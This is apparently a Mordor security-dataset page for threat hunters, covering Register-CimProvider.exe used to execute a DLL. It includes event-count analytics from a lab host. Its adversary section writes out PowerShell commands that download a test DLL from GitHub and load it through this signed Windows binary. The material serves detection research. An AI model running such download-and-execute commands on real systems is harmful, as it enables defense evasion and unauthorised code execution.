Register-CimProvider Execute Dll¶
Metadata¶
Author |
Roberto Rodriguez @Cyb3rWard0g |
Creation Date |
2020/10/23 |
Modification Date |
2020/10/23 |
Tactics |
[‘TA0005’] |
Techniques |
[‘T1218’] |
Tags |
None |
Dataset Description¶
This dataset represents threat actors leveraging Register-Cimprovider to execute a malicious Dll.
Datasets Downloads¶
Dataset Type |
Link |
|---|---|
Host |
Simulation Plan¶
Environment |
Tool Type |
Module |
|---|---|---|
Lab VM |
Manual |
Adversary View¶
PS >Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Win32/T1218-2.dll" -OutFile C:\ProgramData\T1218-2.dll
PS > C:\Windows\SysWow64\Register-CimProvider.exe -Path C:\ProgramData\T1218-2.dll
'Namespace' is not specified.
'ProviderName' is not specified.
Failed to load provider 'C:\ProgramData\T1218-2.dll'. Failure code 0x8007045A.
Try 'Register-CimProvider.exe -help' for help.
Explore Mordor Dataset¶
Initialize Analytics Engine¶
from openhunt.mordorutils import *
spark = get_spark()
Download & Process Mordor File¶
mordor_file = "https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/defense_evasion/host/psh_register_cimprovider_execute_dll.zip"
registerMordorSQLTable(spark, mordor_file, "mordorTable")
[+] Processing a Spark DataFrame..
[+] DataFrame Returned !
[+] Temporary SparkSQL View: mordorTable
Get to know your data¶
df = spark.sql(
'''
SELECT Hostname,Channel,EventID, Count(*) as count
FROM mordorTable
GROUP BY Hostname,Channel,EventID
ORDER BY count DESC
'''
)
df.show(truncate=False)
+------------+------------------------------------+-------+-----+
|Hostname |Channel |EventID|count|
+------------+------------------------------------+-------+-----+
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|10 |550 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|7 |396 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|12 |177 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|13 |63 |
|WORKSTATION5|Security |4658 |24 |
|WORKSTATION5|Security |4690 |12 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|9 |12 |
|WORKSTATION5|Security |4656 |12 |
|WORKSTATION5|Security |4663 |9 |
|WORKSTATION5|Security |5158 |9 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|11 |8 |
|WORKSTATION5|Security |5156 |7 |
|WORKSTATION5|Security |4688 |6 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|1 |6 |
|WORKSTATION5|Security |4673 |4 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|5 |3 |
|WORKSTATION5|Security |4689 |3 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|3 |2 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|23 |2 |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|22 |2 |
+------------+------------------------------------+-------+-----+
only showing top 20 rows